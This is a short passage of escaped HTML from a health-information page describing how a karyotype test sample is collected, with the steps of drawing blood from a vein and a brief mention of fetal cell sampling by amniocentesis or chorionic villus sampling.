A <strong><a href=\"https:\/\/www.lalpathlabs.com\/pathology-test\/Chromosome-Analysis-Karyotype-Blood\" target=\"_blank\" rel=\"noopener\">Karyotype Test<\/a><\/strong> usually is done on a blood sample taken from a vein. For testing during pregnancy, it may also be done on a sample of amniotic fluid or the placenta.<\/p>\n<p style=\"text-align: justify;\"><strong>Blood sample from a vein<\/strong><\/p>\n<p style=\"text-align: justify;\">The health professional drawing your blood will:<\/p>\n<ul>\n<li style=\"text-align: justify;\">Wrap an elastic band around your upper arm to stop the flow of blood. This makes the veins below the band larger so it\u00a0is easier to put a needle into the vein.<\/li>\n<li style=\"text-align: justify;\">Clean the needle site with alcohol.<\/li>\n<li style=\"text-align: justify;\">Put the needle into the vein. More than one needle stick may be needed.<\/li>\n<li style=\"text-align: justify;\">Attach a tube to the needle to fill it with blood.<\/li>\n<li style=\"text-align: justify;\">Remove the band from your arm when enough blood is collected.<\/li>\n<li style=\"text-align: justify;\">Apply a gauze pad or cotton ball over the needle site as the needle is removed.<\/li>\n<li style=\"text-align: justify;\">Apply pressure to the site and then a bandage.<\/li>\n<\/ul>\n<p style=\"text-align: justify;\"><strong>Cell sample from a fetus <\/strong><\/p>\n<p style=\"text-align: justify;\">For this type of test, cells are collected from\u00a0the fetus using amniocentesis or chorionic villus sampling.
